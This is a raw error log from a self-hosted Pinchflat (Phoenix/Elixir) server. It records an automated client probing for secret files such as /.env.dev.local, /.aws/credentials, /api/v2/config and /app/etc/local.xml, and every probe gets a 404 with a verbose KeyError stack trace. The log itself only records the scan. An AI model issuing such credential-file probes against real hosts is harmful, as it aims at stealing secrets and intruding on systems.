14:07:43.101 [info] GET /.env.dev.local 14:07:43.103 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=1241.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:07:43.104 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=1060.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:07:43.104 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 14:07:43.105 [error] #PID<0.12385.0> running PinchflatWeb.Endpoint (connection #PID<0.12290.0>, stream id 90) terminated Server: pinchflat-server.tail1d371e.ts.net:80 (http) Request: GET /.env.dev.local ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env.dev (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.dev.local", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 90, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12385.0>, params: %{}, path_info: [".env.dev"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.env.dev.local", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIljzYbgAdjCJroAAKFB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.dev.local", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 90, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env.dev (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.dev.local", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 90, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12385.0>, params: %{}, path_info: [".env.dev"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.env.dev.local", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIljzYbgAdjCJroAAKFB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: Pinchfl (truncated) 14:07:44.011 [info] GET /api/v2/config 14:07:44.012 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=1512.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:07:44.013 [debug] QUERY OK source="settings" db=0.4ms queue=0.2ms idle=1512.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:07:44.013 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 14:07:44.014 [error] #PID<0.12386.0> running PinchflatWeb.Endpoint (connection #PID<0.12290.0>, stream id 91) terminated Server: pinchflat-server.tail1d371e.ts.net:80 (http) Request: GET /api/v2/config ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/v2/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/v2/config", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 91, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12386.0>, params: %{}, path_info: ["api", "v2", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/api/v2/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIljzb0Pgej4_tcAAKFR"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/v2/config", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 91, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/v2/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/v2/config", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 91, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12386.0>, params: %{}, path_info: ["api", "v2", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/api/v2/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIljzb0Pgej4_tcAAKFR"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil (truncated) 14:07:44.850 [info] GET /.aws/credentials 14:07:44.852 [debug] QUERY OK source="settings" db=0.7ms queue=0.1ms idle=838.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:07:44.853 [debug] QUERY OK source="settings" db=1.2ms idle=839.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:07:44.854 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 14:07:44.855 [error] #PID<0.12388.0> running PinchflatWeb.Endpoint (connection #PID<0.12290.0>, stream id 92) terminated Server: pinchflat-server.tail1d371e.ts.net:80 (http) Request: GET /.aws/credentials ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.aws/credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.aws/credentials", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 92, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12388.0>, params: %{}, path_info: [".aws", "credentials"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.aws/credentials", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIljze8aqR1u58oAAKFh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.aws/credentials", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 92, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.aws/credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.aws/credentials", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 92, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12388.0>, params: %{}, path_info: [".aws", "credentials"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.aws/credentials", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIljze8aqR1u58oAAKFh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, (truncated) 14:07:46.173 [info] GET /app/etc/local.xml 14:07:46.175 [debug] QUERY OK source="settings" db=1.0ms queue=0.1ms idle=119.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:07:46.176 [debug] QUERY OK source="settings" db=0.6ms queue=0.4ms idle=46.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:07:46.176 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 14:07:46.177 [error] #PID<0.12389.0> running PinchflatWeb.Endpoint (connection #PID<0.12290.0>, stream id 93) terminated Server: pinchflat-server.tail1d371e.ts.net:80 (http) Request: GET /app/etc/local.xml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /app/etc/local (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app/etc/local.xml", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 93, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12389.0>, params: %{}, path_info: ["app", "etc", "local"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/app/etc/local.xml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIljzj3vn7z0q88AAKFx"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app/etc/local.xml", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 93, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /app/etc/local (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app/etc/local.xml", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 93, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12389.0>, params: %{}, path_info: ["app", "etc", "local"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/app/etc/local.xml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", 